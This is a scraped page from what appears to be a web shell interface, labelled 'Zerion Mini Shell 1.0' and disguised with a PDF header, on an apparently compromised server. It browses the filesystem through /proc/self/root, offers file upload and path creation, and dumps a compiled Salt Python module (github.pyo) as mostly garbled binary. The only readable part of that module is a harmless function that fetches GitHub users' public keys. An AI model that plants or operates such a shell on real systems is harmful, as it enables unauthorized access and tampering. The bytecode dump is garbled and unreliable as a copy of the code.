%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/usr/lib/python2.7/site-packages/salt/utils/
Upload File :
Create Path :
Current File : //proc/self/root/usr/lib/python2.7/site-packages/salt/utils/github.pyo

�
���^c@@srdZddlmZmZmZddlZddlZddlZddl	m
Z
eje�Z
d�ZdS(u
Connection library for GitHub
i(tabsolute_importtunicode_literalstprint_functionN(tsixc	C@s6t|t�sidd6Si}x|D]}g}t|t�rjttj|��}||}|}ndj|�}tjj	j
|ddtdt�}tjj
j|d�}i||<xk|D]c}t|�dkrtj|d	�|kr*|d
|||d	<q*q�|d
|||d	<q�Wq'W|S(u4
    Retrieve a set of public keys from GitHub for the specified list of users.
    Expects input in list format. Optionally, a value in the list may be a dict
    whose value is a list of key IDs to be returned. If this is not done, then
    all keys will be returned.

    Some example data structures that coupld be passed in would look like:

    .. code_block:: yaml

        ['user1', 'user2', 'user3']

        [
            'user1': [
                '12345',
                '67890',
            ],
            'user2',
            'user3',
        ]
    uA list of users is expecteduErroru%https://api.github.com/users/{0}/keysuGETtdecodettextutextiuidukey(t
isinstancetlisttdicttnextRtiterkeystformattsalttutilsthttptquerytFalsetTruetjsontloadstlent	text_type(	tuserstrettusertkey_idsttmp_userturltresulttkeystkey((s5/usr/lib/python2.7/site-packages/salt/utils/github.pytget_user_pubkeyss.

		

(t__doc__t
__future__RRRtloggingtsalt.utils.jsonRtsalt.utils.httptsalt.extRt	getLoggert__name__tlogR(((s5/usr/lib/python2.7/site-packages/salt/utils/github.pyt<module>s

Zerion Mini Shell 1.0